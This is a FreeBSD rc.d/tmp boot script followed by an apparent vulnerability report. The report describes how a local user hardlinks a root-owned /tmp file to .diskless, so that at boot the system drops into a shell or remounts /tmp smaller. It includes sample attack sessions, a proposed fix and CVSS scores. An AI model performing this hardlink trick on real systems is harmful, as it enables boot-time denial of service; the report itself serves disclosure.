#!/bin/sh
#
# Copyright (c) 1999 Matt Dillon
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
#
# $FreeBSD: src/etc/rc.d/tmp,v 1.40 2009/05/17 08:25:02 danger Exp $
#
# PROVIDE: tmp
# REQUIRE: mountcritremote
. /etc/rc.subr
name="tmp"
stop_cmd=':'
load_rc_config $name
# If we do not have a writable /tmp, create a memory
# filesystem for /tmp. If /tmp is a symlink (e.g. to /var/tmp,
# then it should already be writable).
#
case "${tmpmfs}" in
[Yy][Ee][Ss])
if ! /bin/df /tmp | grep -q "^/dev/md[0-9]"; then
mount_md ${tmpsize} /tmp "${tmpmfs_flags}"
chmod 01777 /tmp
fi
;;
[Nn][Oo])
;;
*)
if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
rmdir /tmp/.diskless
else
if [ -h /tmp ]; then
echo "*** /tmp is a symlink to a non-writable area!"
echo "dropping into shell, ^D to continue anyway."
/bin/sh
else
mount_md ${tmpsize} /tmp "${tmpmfs_flags}"
chmod 01777 /tmp
fi
fi
;;
esac
The default behavior of tmpmfs (defined in /etc/defaults/rc.conf) is set to AUTO. This causes the '*' case to be hit in the script. If a local user creates a file (not a directory) in /tmp called .diskless and the system is rebooted or the script is called directly, the system will either drop into /bin/sh prior to reaching DAEMON or the system will remount /tmp with a potentially smaller size than expected. Both of these conditions are probably not ideal and the prior condition could lead to a boot-up DoS, depending upon local system configurations. The latter condition is harder to fix once the system is in multi-user mode, and especially if users connect via SSH. This is because the /tmp directory will contain open files and/or sockets. So, a fix in this case would also require dropping the system into single-user mode. Because FreeBSD still allows a user to hardlink to a file that is not owned by that user (which has caused at least one issue in the past), the user can cause some shenanigans:
> echo $uid
1001
> ll /tmp
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 1 root wheel 0 Dec 7 15:25 foo
> cd /tmp
> ln foo .diskless
> ll /tmp
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:25 .diskless
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 2 root wheel 0 Dec 7 15:25 foo
The user could hide his or her actions because the hardlink would not show who setup the hardlink, assuming a file exists in /tmp that does not belong to the user. Rather, it shows the current permissions on the hardlinked file.
My initial idea at a fix is to include a new variable in /etc/rc.d/cleartmp that would be set to YES in /etc/defaults/rc.conf. The variable would be similar to clear_tmp_X (maybe called clear_tmp_safe?), calling a routine to wipe and remake the directory /tmp/.diskless. Once this script was ran by root, a subsequent call to /etc/rc.d/tmp upon reboot or directory would act right for most cases.
Diskless clients should be OK, though, as long as /tmp/.diskless is not included in /etc/mtree/BSD.root.dist. When /etc/rc.d/cleartmp would run the first time, it would already be on a memory /tmp file system (assuming /conf doesn't contain anything to point to a residual mount point that could have been tampered). Clients also using memory-backed /tmp should be OK, since the variable will force a creation of a memory-backed /tmp mount point. But, some other eyes should look at this prior to changing the behavior.
When I went through a setup of FreeBSD 8.0 using standard / default / auto-assign values, the system will create its own /tmp mountpoint with a size of 500MB or so. So, if one considered this a "default" setup, then having the case of /tmp remounted (and possibly filling up because of the 20MB size) would merit a CVSSv2 score probably no higher than 1.9 (AV:L/AC:M/Au:N/C:N/I:N/A:P). Worst case, the CVSSv2 score would merit a 4.7 (AV:L/AC:M/Au:N/C:N/I:N/A:C), in my opinion.
Appendix
Sample attack on a symlink'd /tmp:
> ls -la /tmp
lrwxr-xr-x 1 root wheel 7 Dec 7 15:55 /tmp -> var/tmp
> cd /tmp
> ll
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .font-unix
-rw-r--r-- 1 root wheel 0 Dec 7 15:55 foo
drwxrwxrwt 2 root wheel 512 Dec 7 15:44 vi.recover
> ln foo .diskless
> ll
total 12
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .XIM-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:55 .diskless
drwxrwxrwt 2 root wheel 512 Dec 7 15:55 .font-unix
-rw-r--r-- 2 root wheel 0 Dec 7 15:55 foo
drwxrwxrwt 2 root wheel 512 Dec 7 15:44 vi.recover
> su -
Password:
test-8# /etc/rc.d/tmp start
*** /tmp is a symlink to a non-writable area!
dropping into shell, ^D to continue anyway.
#
Sample attack on a mounted /tmp:
> mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
> df /tmp
Filesystem 1K-blocks Used Avail Capacity Mounted on
/dev/ad0s1e 507630 16 467004 0% /tmp
> ll /tmp
total 14
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .ICE-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .X11-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .XIM-unix
drwxrwxrwt 2 root wheel 512 Dec 7 15:22 .font-unix
drwxrwxr-x 2 root operator 512 Dec 7 15:10 .snap
-rw-r--r-- 1 root wheel 0 Dec 7 15:25 foo
> ln foo .diskless
> su -
Password:
test-8# /etc/rc.d/tmp start
test-8# mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
/dev/md0 on /tmp (ufs, local)
test-8# df /tmp
Filesystem 1K-blocks Used Avail Capacity Mounted on
/dev/md0 19566 4 17998 0% /tmp
test-8# ll /tmp
total 2
drwxrwxr-x 2 root operator 512 Dec 7 15:59 .snap